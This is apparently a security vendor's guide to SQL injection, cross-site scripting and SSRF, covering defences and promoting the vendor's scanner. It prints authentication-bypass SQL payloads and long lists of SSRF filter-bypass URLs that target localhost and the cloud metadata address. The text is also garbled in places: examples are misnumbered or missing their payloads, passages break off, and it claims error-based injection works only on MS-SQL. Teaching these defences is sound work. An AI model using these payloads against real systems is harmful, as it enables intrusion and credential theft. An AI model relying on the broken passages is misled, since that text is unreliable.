Fortnite vulnerability—Fortnite is an online game with over 350 million users. In 2019, a SQL injection vulnerability was discovered which could let attackers access user accounts. The vulnerability was patched.
Types of SQL Injection Attacks
There are several types of SQL injection:
Union-based SQL Injection – Union-based SQL Injection represents the most popular type of SQL injection and uses the UNION statement. The UNION statement represents the combination of two select statements to retrieve data from the database.
Error Based SQL Injection – this method can only be run against MS-SQL Servers. In this attack, the malicious user causes an application to show an error. Usually, you ask the database a question and it returns an error message which also contains the data they asked for.
Blind SQL Injection – in this attack, no error messages are received from the database; We extract the data by submitting queries to the database. Blind SQL injections can be divided into boolean-based SQL Injection and time-based SQL Injection. Learn more in our guide to Blind SQL injection.
SQLi attacks can also be classified by the method they use to inject data:
SQL injection based on user input – web applications accept inputs through forms, which pass a user’s input to the database for processing. If the web application accepts these inputs without sanitizing them, an attacker can inject malicious SQL statements.
SQL injection based on cookies – another approach to SQL injection is modifying cookies to “poison” database queries. Web applications often load cookies and use their data as part of database operations. A malicious user, or malware deployed on a user’s device, could modify cookies, to inject SQL in an unexpected way.
SQL injection based on HTTP headers – server variables such HTTP headers can also be used for SQL injection. If a web application accepts inputs from HTTP headers, fake headers containing arbitrary SQL can inject code into the database.
Second-order SQL injection – these are possibly the most complex SQL injection attacks, because they may lie dormant for a long period of time. A second-order SQL injection attack delivers poisoned data, which might be considered benign in one context, but is malicious in another context. Even if developers sanitize all application inputs, they could still be vulnerable to this type of attack.
SQL Injection Code Examples
Let’s look at two common examples of SQL injection attacks.
Example 1: Using SQLi to Authenticate as Administrator
This example shows how an attacker can use SQL injection to circumvent an application’s authentication and gain administrator privileges.
Consider a simple authentication system using a database table with usernames and passwords. A user’s POST request will provide the variables user and pass, and these are inserted into a SQL statement:
sql = "SELECT id FROM users WHERE username='" + user + "' AND password='" + pass + "'"
The problem here is that the SQL statement uses concatenation to combine data. The attacker can provide a string like this instead of the pass variable:
password' OR 5=5
The resulting SQL query will be run against the database:
SELECT id FROM users WHERE username='user' AND password='pass' OR 5=5'
Because 5=5 is a condition that always evaluates to true, the entire WHERE statement will be true, regardless of the username or password provided.
The WHERE statement will return the first ID from the users table, which is commonly the administrator. This means the attacker can access the application without authentication, and also has administrator privileges.
A more advanced form of this attack is where the attacker adds a code comment symbol at the end of the SQL statement, allowing them to further manipulate the SQL query. The following will work in most databases including MySQL, PostgreSQL, and Oracle:
In this example, the following code obtains the current username, and searches for items matching a certain item name, where the owner is the current user.
... string userName = ctx.getAuthenticatedUserName(); string query = "SELECT * FROM items WHERE owner = "'" + userName + "' AND itemname = '" + ItemName.Text + "'"; ...
This code has the same weakness as in the previous example – the use of concatenation. After combining the username and item name, the code creates the following query:
SELECT * FROM items WHERE owner = AND itemname = ;
If the attacker provides the following string for itemname:
Widget' OR 5=5
The SQL statement becomes:
SELECT * FROM items WHERE owner = 'John' AND itemname = 'Widget' OR 5=5';
Which is the same as: SELECT * FROM items;
This means the query will return the data of the entire table, giving the attacker unauthorized access to sensitive data.
Example 3: Injecting Malicious Statements into Form Field
This is a simple SQL injection attack based on user input. The attacker uses a form that requires first name and last name as inputs. The attacker inputs:
First name: malicious'ex
Last name: Smith
The attacker’s first name variable contains a malicious expression, which we denoted as ‘ex. The SQL statement that processes the form inputs looks like this:
SELECT id, firstname, lastname FROM authors
Once the attacker injects a malicious expression into the first name, the statement looks like this:
SELECT id, firstname, lastname FROM authors WHERE firstname = 'malicious'ex' and lastname ='newman'
The database identifies incorrect syntax due to the single apostrophe, and tries to execute the malicious statement.
For many more examples of malicious SQL code, see our detailed guide to SQL injection payloads.
SQL Injection Prevention Cheat Sheet
This is a summarized version of the excellent OWASP SQL injection prevention cheat sheet.
Prepared statements are easy to learn and use, and eliminate the problem of SQL injection. They force you to define SQL code, and pass each parameter to the query later, making a strong distinction between code and data.
If an attacker supplies a malicious string like in the above examples, for example providing John' or 1=1 for a username, the prepared statement will evaluate this as a literal string. It will look for a user named John' or 1=1 (and fail, because no such user exists) instead of evaluating this statement as code.
Prepared statements are available in all programming languages. Here is an example in Java. To be on the safe side, OWASP recommends validating the input parameter just in case.
// Separate definition of input variable String custname = request.getParameter("customerName"); // Separate definition of SQL statement String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; // PreparedStatement command securely combines inputs and SQL syntax PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( );
Defense Option 2: Stored Procedures
Stored procedures are similar to prepared statements, only the SQL code for the stored procedure is defined and stored in the database, rather than in the user’s code. In most cases, stored procedures can be as secure as prepared statements, so you can decide which one fits better with your development processes.
There are two cases in which stored procedures are not secure:
The stored procedure includes dynamic SQL generation – this is typically not done in stored procedures, but it can be done, so you must avoid it when creating stored procedures. Otherwise, ensure you validate all inputs.
Database owner privileges – in some database setups, the administrator grants database owner permissions to enable stored procedures to run. This means that if an attacker breaches the server, they have full rights to the database. Avoid this by creating a custom role that allows storage procedures only the level of access they need.
Here is an example of a stored procedure in Java (Java calls it a CallableStatement). We assume that the sp_getAccountBalancer stored procedure implements the same logic as the prepared statement in option 1 above.
// Separate definition of user inputs String custname = request.getParameter("customerName"); // Executing the stored procedure sp_getAccountBalancer try { CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}"); cs.setString(1, custname); ResultSet results = cs.executeQuery(); // result set handling } catch (SQLException se) { // logging and error handling }
This is another strong measure that can defend against SQL injection. The idea of allow-list validation is that user inputs are validated against a closed list of known legal values.
For example, if a user input is used to select a database table, you can use code like this to ensure that it can only match one of several, known table names:
String tableName; switch(PARAM): case "Value1": tableName = "fooTable"; break; case "Value2": tableName = "barTable"; break; ... default : throw new InputValidationException("unexpected value Provided" + " for table name");
Another safe way to handle user inputs is to convert them to a non-string form. For example, if the user input determines whether the query should be ordered in ascending or descending order, the input can be converted to a boolean. And then this boolean value is used to determine the sort order:
public String someMethod(boolean sortOrder) { String SQLquery = "some SQL ... order by Salary " + (sortOrder ? "ASC" : "DESC");` ...
Defense Option 4: Escaping All User-Supplied Input
Escaping means to add an escape character that instructs the code to ignore certain control characters, evaluating them as text and not as code.
This option is the least secure of the four, and should only be used as a last resort. This is because escaping user input is only effective if the code escapes all possibilities of control characters, and attackers come up with numerous creative ways to inject them. Therefore, OWASP does not recommend this method and advises the use of options 1 or 2 above.
For example, in MySQL there are two escaping modes – ANSI_QUOTES SQL mode and MySQL mode:
in ANSI_QUOTES mode, to escape control characters, encode all ‘ (single tick) characters with ” (two ticks)
In MySQL mode, escape the following characters:
[the number zero, not the letter O]
b
t
n
r
Z
“
%
‘
\ [escaping a single slash character]
_
Replace all other non-alphanumeric characters with ASCII values
Replace numbers less than 256 with c where ‘c’ is the original number
OWASP provides the free, open source Enterprise Security API (ESAPI), which can help you implement escaping in legacy database code. It provides codecs for popular databases, which have escaping for all unsafe control patterns.
ESAPI currently supports Oracle and MySQL, and will soon support encoders for SQL Server and PostgreSQL.
Preventing SQL Injection Attack with Bright
Bright Dynamic Application Security Testing (DAST) helps automate the detection and remediation of many vulnerabilities including SQLi, early in the development process, across web applications and APIs.
By shifting DAST scans left, and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. Bright completes scans in minutes and achieves zero false positives, by automatically validating every vulnerability. This allows developers to adopt the solution and use it throughout the development lifecycle.
Scan any web app, or REST and GraphQL APIs to prevent SQL injection vulnerabilities with Bright!
SQL Injection Attack: Common Misconceptions Explained
SQL injection is often treated as a solved problem. Many teams assume it disappeared once prepared statements became common or after switching to a modern framework. That assumption is one of the reasons SQL injection still shows up in production environments today.
One common misconception is that SQL injection only happens in “old” or poorly written applications. In reality, it often appears in newer systems where dynamic queries are built for reporting, search, filtering, or analytics. These areas tend to be rushed, loosely reviewed, or handled outside the core application logic.
Another mistaken belief is that input validation alone is enough. Sanitizing inputs may block obvious payloads, but it does not protect against logic flaws where user input influences query structure in unexpected ways. Injection isn’t always about special characters – sometimes it’s about controlling conditions, limits, or joins.
Teams also underestimate indirect injection. Data that enters the system safely can later be reused unsafely in a different context. When that happens, the vulnerability is harder to trace and often survives multiple reviews.
How Modern Web Frameworks Protect Against SQL Injection
Modern frameworks do a lot of heavy lifting when it comes to SQL injection, but they are not magic shields. ORMs, query builders, and parameterized queries significantly reduce risk by separating data from query structure. Used correctly, they eliminate entire classes of injection bugs.
The problem is that real applications don’t always stay within the happy path. Developers step outside ORM abstractions for performance tuning, complex queries, or legacy compatibility. Raw queries, dynamic filters, and handcrafted SQL often reintroduce risk – especially when they’re added under time pressure.
Framework protections also depend on consistency. One unsafe query in an otherwise well-structured application is enough to expose the database. Security doesn’t average out.
It’s also worth noting that frameworks protect against syntax-level injection, not misuse. If an application allows users to influence which records are returned, updated, or deleted without proper authorization checks, the framework won’t stop that. The query may be “safe” but still dangerous.
Testing for SQL Injection: Tools and Techniques
SQL injection testing nowadays is less about sending traditional payloads and more about understanding how the input and data flow within the application. Scanners can be helpful, but only if they are able to reach certain endpoints and test the application properly.
Modern-day injection testing usually concentrates not so much on getting obvious errors back but rather on data output, limitations, or sorting. An increase in returned information, a decrease in filtering and limitations, or a change in sorting may indicate a potential vulnerability, even if there is no SQL error displayed.
Injection testing of authenticated applications should not be neglected. Most of the time, injection vulnerabilities will be located behind the login page or administration panel, or even in an internal API. Testing public endpoints provides false confidence.
Manual testing remains relevant when dealing with advanced filtering mechanisms, search pages, or reporting functionality. Such endpoints usually use complex queries and are known to be vulnerable to SQL injection attacks.
SQL Injection in APIs: What Makes It Different?
SQL injection in APIs often looks nothing like the classic examples people learn about. There are no form fields or obvious inputs. Instead, payloads arrive through JSON bodies, query parameters, or nested objects.
APIs are especially vulnerable when they support flexible filtering, sorting, or querying. Features designed to make APIs powerful for internal consumers can be abused externally if proper controls aren’t enforced. Injection here may not expose raw SQL errors, but it can still alter query logic.
Another challenge is visibility. API responses are often structured and predictable, which makes subtle changes harder to notice. An attacker doesn’t need a dramatic error – they just need confirmation that the query behaved differently.
Because APIs are frequently reused across services, a single injection flaw can have a wider impact than a traditional web endpoint. That’s why API-level SQL injection deserves focused testing, not just inclusion in generic scans.
See Additional Guides on Key Data Security Topics
Together with our content partners, we have authored in-depth guides on several other topics that can also be useful as you explore the world of data security.
Cross site scripting (XSS) is a cyberattack method that involves running malicious code as part of a vulnerable web application. It is a type of cyber attack where a threat actor injects malicious code into a trusted website. The code is then delivered to a victim’s browser. Unlike other attack vectors like SQL injections, XSS does not target the application directly—it primarily targets the user. XSS is one of the most common web application vulnerabilities.
Here’s how an XSS attack works:
An attacker sends a malicious link to a user.
The user clicks the link.
The malicious code is included with dynamic content delivered to the victim’s browser.
The code sends an HTTP request to the attacker’s webserver.
The attacker can use the stolen cookies to impersonate the user, access sensitive data, or perform a social engineering attack.
XSS attacks allow attackers to circumvent the same origin policy, which is designed to keep different websites separate.
To prevent XSS, you can:
Run untrusted HTML input through an HTML sanitization engine.
Blacklist specific HTML tags that are at risk, such as the iframe, link, and script tags.
Prevent client-side scripts from accessing cookies.
This is crucial as XSS attacks allow attackers to circumvent the same origin policy, a security measure designed to keep different websites separate.
This is part of an extensive series of guides about cybersecurity
XSS is an injection attack that exploits the fact that browsers cannot differentiate between valid scripts and attacker-controlled scripts. XSS attacks bypass the same-origin policy, which is designed to prevent scripts that originate in one website from interacting with other scripts from different websites.
When the same-origin policy is not properly enforced, attackers can inject a script that modifies the web page. For example, the script can allow an attacker to impersonate a pre-authenticated user. It also allows attackers to input malicious code, which is then executed by the browser, or execute JavaScript that modifies content on the page.
XSS can cause serious issues. Attackers often leverage XSS to steal session cookies and impersonate the user. Attackers can also use XSS to deface websites, spread malware, phish for user credentials, support social engineering techniques, and more.
Unsanitized user input can put any web application at risk of an XSS attack. The most common language for XSS attacks is JavaScript, but XSS can affect HTML, Flash, VBScript, CSS, and other web development languages and frameworks.
What is the impact of XSS?
Cross site scripting attacks can have devastating consequences. Code injected into a vulnerable application can exfiltrate data or install malware on the user’s machine. Attackers can masquerade as authorized users via session cookies, allowing them to perform any action allowed by the user account.
XSS can also impact a business’s reputation. An attacker can deface a corporate website by altering its content, thereby damaging the company’s image or spreading misinformation. A hacker can also change the instructions given to users who visit the target website, misdirecting their behavior. This scenario is particularly dangerous if the target is a government website or provides vital resources in times of crisis.
Reflected XSS is a simple form of cross-site scripting that involves an application “reflecting” malicious code received via an HTTP request. As a result of an XSS vulnerability, the application accepts malicious code from the user and includes it in its response.
For example, suppose a website encodes a message in a URL parameter. If the application does not sanitize the input provided by the URL parameter, an attacker can inject a malicious script into it, like this:
https://web-app.com/status?message=
When a user visits the page, the attacker’s script executes, and the script now has access to any action or data that the user can access.
Stored/Persistent Cross-Site Scripting
Stored XSS involves an application receiving data from a malicious source and storing the data for use in later HTTP responses. This is also known as second-order or persistent XSS, because it persists in the system.
The data can come from any untrusted source that sends an HTTP request to the application, such as comments posted on a blog or an application that displays email messages using SMTP.
An example of a stored XSS attack is an Ecommerce website that allows customers to post reviews of products. Now consider that the mechanism used to publish reviews does not properly sanitize user inputs, allowing attackers to embed HTML tags in the text they submit.
For example, an attacker could submit review text like this:
Really enjoyed this product, highly recommend it. “”
The review is published on the page, and loads for every user who views the page (hence this is a stored XSS attack). When a new visitor loads the page, the malicious JavaScript is executed, attackers hijack the user’s session, and can impersonate them on the site from this point onwards.
DOM-Based Cross-Site Scripting
DOM-based XSS is an attack that modifies the domain object model (DOM) on the client side ( the browser). In a DOM-based attacks, the HTTP response on the server side does not change. Rather, a malicious change in the DOM environment causes client code to run unexpectedly.
See the example below of a welcome page in a web application, which retrieves a URL parameter to populate the user’s name.
Welcome! Hi
Welcome …
This page uses a URL parameter to input the user’s name, like this:
http://www.vulnerable.site/welcome.html?name=Jill
But a malicious user can inject JavaScript code into the request, like this:
Learn more, and see additional examples, in our guide to DOM-based XSS
How Can You Prevent Cross-Site Scripting Attacks?
XSS Prevention: Reflected and Stored XSS
1. Sanitize inputs
Reflected and stored cross-site scripting can be sanitized on the server-side and there are multiple ways of doing it. Blacklisting characters that are deemed unsafe won’t really work out in the long run since some malicious user might figure out some bypass for it as it usually happens. What you need to do is whitelist what is allowed.
Use a security encoding library to encode all parameters and user input.If you need to insert parameters/user input data into your HTML body, add an HTML escape before insert itself.
Encode any character that can affect the execution context, whether it indicates the start of a script, event, or CSS style, using a function like htmlentities().
Escape attribute if you need to insert parameters/user input data into your HTML common attributes. Don’t use event handles or attributes like href, style, or src.
Always add quotes to your attributes, because quoted attributes can only be escaped with the corresponding quote. As a general rule, escape all non-alphanumeric characters.
Use JavaScript escaping for dynamically generated JS code, where you would need to insert parameters/user data input into either event handlers or script tags. The only safe place you can put data here is inside any quoted value. Anything else is really tricky to sanitize properly since it’s really easy to switch context.
2. Blacklist high-risk HTML tags
This approach involves identifying and disallowing the use of tags that are commonly exploited in XSS attacks. While not a foolproof method, it can significantly reduce the risk of certain types of XSS exploits. Focus on tags that can be used to execute scripts or load external resources. Common examples include
This achieves the same objective of displaying user-provided content, but without DOM XSS vulnerabilities.
Detecting and Testing for XSS with Bright
While Dynamic Application Security Testing (DAST) tools are able to test for some XSS vulnerabilities, they are often limited and produce a high ratio of false positives.
Bright can automatically crawl your applications to test for reflected, stored and DOM-based XSS vulnerabilities, giving you maximum coverage, seamlessly integrated across development pipelines.
Engineering and security teams can trust Bright’s results, with automatic validation of every XSS finding carried out, with no false positives. Bright even generates a screenshot proof of concept along with comprehensive developer friendly remediation advice to fix the issue quickly and early.
See Additional Guides on Key Cybersecurity Topics
Together with our content partners, we have authored in-depth guides on several other topics that can also be useful as you explore the world of cybersecurity.
Server Side Request Forgery (SSRF) Attacks & How to Prevent Them
Server-Side Request Forgery (SSRF) attacks allow an attacker to make requests to any domains through a vulnerable server. Attackers achieve this by making the server connect back to itself, to an internal service or resource, or to its own cloud provider.
Here is how SSRF attacks work: first of all, the attacker finds an application with functionality for importing data from a URL, publishing data to a URL, or otherwise reading data from a URL that can be manipulated.
By providing a completely different URL, or by manipulating how URLs are built, the attacker will try to modify this functionality..
Once the manipulated request is sent to the server, the server-side code tries to read data to the manipulated URL. As a result, the attacker may read data from services not intentionally exposed to the internet, for example:
The meta-data of a cloud server: the attacker could access important configuration or sometimes even authentication keys from a REST interface on http://169.254.169.254
Database HTTP interfaces: NoSQL databases provide REST interfaces on HTTP ports. If there is no authentication enabled, which is often the case with databases meant for internal use, the attacker may extract sensitive data from that database
The attacker may access internal REST interfaces
The attacker may be able to read files by using URIs
The attacker can also use this to import data into code that was meant to only read data from trusted sources, and because of that has no input validation in place.
Most of the techniques used to launch an SSRF attack use a URL that contains data that the target server doesn’t expect and doesn’t deal with in a safe manner. In the majority of cases, these involve specific characters that lead the webserver astray.
The URL string doesn’t have to begin with “http” or “https”. It can begin with “file”, “dict”, and “image”. Those imply a specific type of resource the server expects to return, or in the case of “ftp” and “gopher”, specify services that will be used to return data.
If the application isn’t coded to properly whitelist only those resources and service types intended for its use, the others can be the gateway to behavior the developers didn’t intend.
Another example includes special characters that can be embedded within URLs. These characters can be the jumping-off point for the malicious URL excursions into resources you thought were safe. Those characters can be “#”, indicating a URL fragment to follow, or other special characters like “?” and “*”, but in all cases, the code that follows the special character is the malicious payload.
The application server itself can be attacked through URLs specifying that information should be returned from 127.0.0.1 or “localhost”. This can result in the server giving up sensitive information about itself – information that can then be used for even more powerful and pervasive attacks.
Attackers exploiting SSRF vulnerabilities can abuse any user inputs that accept URLs or file uploads, causing the server to connect to malformed URLs or external resources.
Impacts of an SSRF server side attack include:
Malicious attacks that appear to originate from the organization hosting the vulnerable application, causing potential legal liabilities and reputational damage.
Unauthorized access to sensitive configurations—including server files, cloud provider metadata, and open ports.
Internal port scanning—SSRF attacks can scan internal networks, letting an attacker Identify and exploit unsecured services.
Exploit chaining—SSRF exploits can be “chained” into other attacks that are more damaging, ranging from reflected XSS to remote code execution.
Read on to understand the three main types of SSRF attacks and what you can do to prevent them.
There are three main types of server-side request forgery attacks:
Attack carried against the server itself by using a loopback network interface (127.0.0.1 or localhost), or abusing the trust relationship between the server and other services on the same network.
XSPA attack providing information about open ports on the server
Attack providing data about the cloud provider hosting the server (such as AWS, Azure, or GCP)
1. Attack Against the Server—Injecting SSRF Payloads
SSRF is injected into any parameter that accepts a URL or a file. When injecting SSRF payloads in a parameter that accepts a file, the attacker has to change Content-Type to text/plain and then inject the payload instead of a file.
Accessing Internal Resources
Accessing internal resources can mean a couple of different things. It can be achieved by accessing the /admin panel that is only accessible from within the internal network. Reading files from the server. This can be done using the file schema (file://path/to/file).
Accessing Internal Pages
Some common exploits for accessing internal pages include:
From: [Attacker] To: Date: Fri, 13 Mar 2020 03:33:00 -0600 Subject: Hacked You've been exploited :( . QUIT
2. XSPA—Port Scanning on the Server
Cross-Site Port Attack (XSPA) is a type of SSRF where an attacker is able to scan the server for its open ports. This is usually done by using the loopback interface on the server (127.0.0.1 or localhost) with the addition of the port that is being scanned (21, 22, 25…).
Besides scanning for ports an attacker might also run a scan of running hosts by trying to ping private IP addresses:
192.168.0.0/16
172.16.0.0/12
10.0.0.0/8
3. Obtaining Access to Cloud Provider Metadata
With SSRF an attacker is able to read metadata of the cloud provider that you use, be it AWS, Google Cloud, Azure, DigitalOcean, etc. This is usually done by using the private addressing that the provider listed in their documentation.
AWS
For AWS instead of using localhost or 127.0.0.1 attackers use the 169.254.169.254 address for exploits.
Significant information can be extracted from AWS metadata, from public keys, security credentials, hostnames, IDs, etc.
Here are the primary ways to remediate server side vulnerabilities, to prevent SSRF attacks on your servers.
Whitelist Domains in DNS
The easiest way to remediate SSRF is to whitelist any domain or address that your application accesses.
Blacklisting and regex have the same issue, someone will eventually find a way to exploit them
Do Not Send Raw Responses
Never send a raw response body from the server to the client. Responses that the client receives need to be expected.
Enforce URL Schemas
Allow only URL schemas that your application uses. There is no need to have ftp://, file:/// or even http:// enabled if you only use https://.
And if you do use other schemas make sure that they’re only accessible from the part that needs to access them and not from anywhere else.
Enable Authentication on All Services
Make sure that authentication is enabled on any service that is running inside your network even if they don’t require it. Services like memcached, redis, mongo and others don’t require authentication for normal operations, but this means they can be exploited.
Sanitize and Validate Inputs
Never trust user input.
Always sanitize any input that the user sends to your application. Remove bad characters, standardize input (double quotes instead of single quotes for example).
After sanitization make sure to validate sanitized input to make sure nothing bad passed through.
Why is it Ineffective to Blacklist Domains and IPs? Understanding SSRF Bypass
One way to protect against SSRF is to blacklist certain domains and IP addresses. This defense technique is not effective, because hackers can use bypasses to avoid your security measures. Below are a few simple ways attackers can bypass blacklists.
Bypassing Blacklists Using HTTPS
Common blacklists blocking everything on port 80 or the http scheme. but the server will handle requests to 443 or https just fine.
Instead of using http://127.0.0.1/ use: https://127.0.0.1/ https://localhost/
Bypassing Blacklists Using Localhost
The most common blacklist is blacklisting IP addresses like 127.0.0.1 or localhost. To bypass these blacklists you can use:
With [::], abuses IPv6 to exploit
http://[::]/
http://[::]:80/
http://0000::1/
http://0000::1:80/
With domain redirection, useful when all IP addresses are blacklisted
http://localtest.me
http://test.app.127.0.0.1.nip.io
http://test-app-127-0-0-1.nip.io
httP://test.app.127.0.0.1.xip.io
With CIDR, useful when just 127.0.0.1 is whitelisted
http://127.127.127.127/
http://127.0.1.3/
https:/127.0.0.0/
With IPv6/IPv4 address embedding, useful when both IPv4 and IPv6 are blacklisted (but blacklisted badly)
http://[0:0:0:0:0:ffff:127.0.0.1]/
With decimal IP location, really useful if dots are blacklisted
http://0177.0.0.1/ --> (127.0.0.1)
http://2130706433/ --> (127.0.0.1)
http://3232235521/ --> (192.168.0.1)
http://3232235777/ --> (192.168.1.1)
With malformed URLs, useful when port is blacklisted
localhost:+11211aaa
localhost:00011211aaaa
localhost:11211
With shorthanding IP addresses by dropping zeros, useful when full IP address is whitelisted
http://0/
http://127.1/
http://127.0.1/
With enclosed alphanumerics, useful when just plain ASCII characters are blacklisted but servers interpret enclosed alphanumerics as normal.
Against weak parsers (these go to http://127.2.2.2:80)
http://127.1.1.1:80@127.2.2.2:80/
http://127.1.1.1:80@@127.2.2.2:80/
http://127.1.1.1:80:@@127.2.2.2:80/
http://127.1.1.1:80#@127.2.2.2:80/
Bypass 169.254.169.254 Address
The most common bypass for AWS addresses is changing them to get past the blacklist of 169.245.169.254.
http://169.254.169.254.xip.io/
http://1ynrnhl.xip.io
http://425.510.425.510 – dotted decimal with overflow
http://2852039166 – dotless decimal
http://7147006462 – dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE – dotted hexadecimal
http://0xA9FEA9FE – dotless hexadecimal
http://0x41414141A9FEA9FE – dotless hexadecimal with overflow
http://0251.0376.0251.0376 – dotted octal
http://0251.00376.000251.0000376 – dotted octal with padding
SSRF Protection with Bright
Bright helps automate the detection and remediation of many vulnerabilities including SSRF, early in the development process, across web applications and APIs.
By shifting DAST scans left, and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. Bright completes scans in minutes and achieves zero false positives, by automatically validating every vulnerability. This allows developers to adopt the solution and use it throughout the development lifecycle.
Scan any web app, or REST and GraphQL APIs to prevent SSRF vulnerabilities with Bright!
See Additional Guides on Key Application Security Topics
Together with our content partners, we have authored in-depth guides on several other topics that can also be useful as you explore the world of application security.
